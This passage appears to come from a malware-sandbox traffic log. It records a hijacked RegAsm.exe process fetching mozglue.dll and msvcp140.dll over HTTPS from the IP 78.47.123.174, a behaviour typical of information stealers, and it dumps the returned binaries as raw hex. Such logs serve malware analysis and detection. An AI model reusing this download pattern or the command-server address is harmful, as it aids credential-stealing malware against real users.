Pw$tUP}uUSWVM01EstA869AHEEEEEEE\|l
2024-05-22 16:28:13 UTC	16384	IN	Data Raw: 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 f7 65 f0 89 95 28 ff ff ff 89 85 30 ff ff Data Ascii: eLXee0@eeeue0UEeeUeee $e(0
2024-05-22 16:28:13 UTC	16384	IN	Data Raw: 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 ff 8d 1c 18 89 7d e4 83 d3 00 0f 92 45 8c Data Ascii: MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE}E
2024-05-22 16:28:13 UTC	16384	IN	Data Raw: ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 28 ff ff ff 8b b5 04 ff ff ff 81 e6 ff ff Data Ascii: 0<48%8A)$(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49715	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:14 UTC	173	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-22 16:28:15 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:15 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-94750" Accept-Ranges: bytes
2024-05-22 16:28:15 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-05-22 16:28:15 UTC	16384	IN	Data Raw: ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 4c 00 00 00 00 c7 46 50 0f 00 00 00 c6 46 Data Ascii: A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPFLFPF
2024-05-22 16:28:15 UTC	16384	IN	Data Raw: 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff ff 56 e8 de bc ff ff 89 f1 89 fa e8 d5 f1 Data Ascii: PzEPWxP1`PHP$,FM1R'^_[]00L9tc<V
2024-05-22 16:28:15 UTC	16384	IN	Data Raw: 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 eb 51 89 f0 f7 e1 89 d1 c1 e9 05 89 c8 ba Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}LQ
2024-05-22 16:28:15 UTC	16384	IN	Data Raw: 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b 45 ec 89 46 08 e9 8b fe ff ff 68 a7 fa 07 Data Ascii: 1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSREEFh
2024-05-22 16:28:15 UTC	16384	IN	Data Raw: 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 Data Ascii: H) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) sUSWV
2024-05-22 16:28:15 UTC	16384	IN	Data Raw: 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 08 8b 7c 24 08 0f 83 b0 03 00 00 85 db 0f Data Ascii: D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4\|$
2024-05-22 16:28:15 UTC	16384	IN	Data Raw: 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 7c 24 08 8b 4b 08 89 0c 24 89 53 04 0f a4 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$\|$K$S
2024-05-22 16:28:15 UTC	16384	IN	Data Raw: 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 e2 fe 83 e1 01 09 d1 89 4e 04 89 30 8b 4b Data Ascii: XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKNN0K
2024-05-22 16:28:15 UTC	16384	IN	Data Raw: c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 0f 84 c2 09 00 00 80 60 04 fe 8b 4c 24 0c Data Ascii: rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H`L$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49717	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:16 UTC	174	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-22 16:28:17 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:17 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-6dde8" Accept-Ranges: bytes
2024-05-22 16:28:17 UTC	16138	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-05-22 16:28:17 UTC	16384	IN	Data Raw: 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 00 2d 00 69 00 6e 00 00 00 6d 00 73 00 2d Data Ascii: hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr-inms-
2024-05-22 16:28:17 UTC	16384	IN	Data Raw: 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 c8 8b 00 10 00 Data Ascii: {\|L@DX}0}}M@4}0}}4M@tXM}0}}XM@
2024-05-22 16:28:17 UTC	16384	IN	Data Raw: c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd e2 df e0 dd da f6 c4 44 7b 49 d9 c2 d8 c1 Data Ascii: E]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]ED{I
2024-05-22 16:28:17 UTC	16384	IN	Data Raw: f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 02 83 6d d4 01 75 ec 8b c2 85 c0 74 26 3b Data Ascii: f;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90utmut&;
2024-05-22 16:28:17 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 8b f9 83 7f 4c 00 75 04 33 db eb 24 56 e8 Data Ascii: UjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSWLu3$V
2024-05-22 16:28:17 UTC	16384	IN	Data Raw: 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 20 94 ff ff 83 7d fc 10 59 0f be 4d 14 89 Data Ascii: r@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ }YM
